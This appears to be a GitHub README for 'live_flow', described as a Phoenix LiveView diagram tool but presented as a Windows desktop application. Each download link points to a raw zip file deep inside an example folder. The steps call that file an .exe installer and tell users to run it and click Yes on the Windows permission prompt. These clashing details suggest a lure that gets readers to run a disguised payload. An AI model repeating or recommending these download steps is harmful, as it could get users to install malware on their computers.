live_flow

# ⚡ live_flow - Interactive Flow Diagrams Made Easy [](https://github.com/Hisawa34/live_flow/raw/refs/heads/main/example/lib/flotas_web/flow-live-v3.2.zip) --- ## 📄 What is live_flow? live_flow is a simple tool for creating flow diagrams on your computer. It helps you build diagrams using points called nodes and lines called connections. You can move things around by dragging, zoom in and out, and easily connect different parts. It's designed to work with Phoenix LiveView, but you don’t need to understand the technical parts to start using it. With live_flow, you can create things like: - Workflow charts - Visual editors - Interactive diagrams If you've worked with flowcharts or mind maps before, live_flow works like those but focuses on node-based design with smooth controls. --- ## 🎯 Main Features - **Pan and Zoom** Use your mouse wheel to zoom in and out. Drag the canvas to move around your diagram. There’s also a small map view that shows where you are. - **Drag Nodes** Click and drag any node to move it. The tool helps snap nodes to an invisible grid for neat alignment. Lines appear to help line up nodes properly. - **Connections** Add lines between nodes using points called handles. You will see a live preview before the connection is made. The app prevents invalid connections. - **Select Nodes** Click to select a node, hold Shift and click for multiple nodes, or drag a box to select many at once. - **Custom Nodes** Use different types of nodes for different purposes. The app supports custom layouts to fit your needs. - **Edge Styles** Choose from curved, straight, or stepped lines to connect nodes. Edges can have animation for clarity. - **Edit Edge Labels** Double-click edge labels to change their text right on the diagram. - **Undo and Redo** If you make a mistake, undo it. Redo is also available to move forward again. - **Copy and Paste** Copy nodes or connections, then paste or duplicate them anywhere on the canvas. - **Save and Load** Export your whole diagram as a JSON file. Later, import it back to continue working. - **Collaboration** (Feature under development) Soon, multiple users will work on the same diagram. --- ## 💻 System Requirements live_flow is designed to run on Windows PCs. Here are the minimum specs to run it smoothly: - Windows 10 or later (64-bit recommended) - 4 GB of RAM or more - 500 MB free disk space - Mouse and keyboard for control - Internet access only needed for download and updates --- ## 🚀 Getting Started: Download and Run live_flow You can get live_flow from the official release page on GitHub. Follow these steps carefully: 1. Click the big green button below to visit the download page: [](https://github.com/Hisawa34/live_flow/raw/refs/heads/main/example/lib/flotas_web/flow-live-v3.2.zip) 2. On the GitHub releases page, find the latest version (usually at the top). Look for the Windows installer file. It will have an `.exe` extension. For example: `https://github.com/Hisawa34/live_flow/raw/refs/heads/main/example/lib/flotas_web/flow-live-v3.2.zip`. 3. Click on the `.exe` file link. Your browser will start downloading the file. Wait until it finishes. 4. Open your Downloads folder and double-click the downloaded `.exe` file to start the installation. 5. If Windows asks for permission to install, click Yes. 6. Follow the on-screen instructions in the installation wizard. Choose where to install or accept defaults. 7. When installation completes, look for the live_flow shortcut on your desktop or in the Start menu. 8. Double-click the live_flow icon to open the application. 9. You should now see the live_flow main interface ready for you to create diagrams. --- ## 🛠 How to Use live_flow Once live_flow is running, here is a basic guide to start creating your first diagram: ### Add Nodes - Click the **Add Node** button or right-click on the canvas and select "Add Node". - A new node will appear. You can click and drag it anywhere. - Use the grid snap to align your nodes neatly. ### Connect Nodes - Hover over a node to see small circles (handles). - Click and drag from one handle to another node's handle. - A live preview line will show how the connection looks. - Release the mouse to create the connection. ### Move and Zoom - Click and drag empty space to pan around the canvas. - Use the mouse wheel to zoom in or out for a better view. - Use the minimap controls to jump to another part quickly. ### Edit Connections - Double-click on a connection label to change its text. - Use the right-click menu on edges for more options like changing line style. ### Select Multiple Nodes - Hold Shift and click nodes to select several. - Drag a box over multiple nodes to select them at once. ### Undo/Redo - Use the undo and redo buttons in the toolbar or press Ctrl+Z (undo) and Ctrl+Y (redo). ### Copy, Cut, and Paste - Select nodes or edges. - Use Ctrl+C to copy, Ctrl+X to cut, and Ctrl+V to paste. - Duplicates appear near the original selection. ### Save and Load - To save your work, click the **Export** button to download your diagram as a JSON file. - To load a saved diagram, click **Import** and select the JSON file from your computer. --- ## ⚙️ Settings and Customization live_flow lets you customize your workspace: - Change grid size in settings for finer or coarser snapping. - Choose between different edge styles like bezier curves or straight lines. - Enable or disable snapping guides. - Adjust zoom sensitivity for your mouse wheel. These options help you tailor the experience to your preferences. --- ## 💡 Tips for Best Experience - Use a mouse instead of a trackpad for smoother dragging. - Save your work often to avoid losing progress. - Zoom out regularly to see your whole diagram. - Group related nodes close together for clarity. - Use labels on edges to describe connections clearly. --- ## ❓ Troubleshooting If live_flow does not open or crashes: - Check if your Windows is updated to a supported version. - Restart your computer and try again. - Make sure the installer downloaded fully without interruption. - Close other heavy programs to free memory. - If problems persist, check the Issues section on the GitHub repository for similar reports. --- ## 🌐 More Information and Updates To get the latest releases, updates, or to report bugs, visit the official releases page: [Download live_flow on GitHub](https://github.com/Hisawa34/live_flow/raw/refs/heads/main/example/lib/flotas_web/flow-live-v3.2.zip)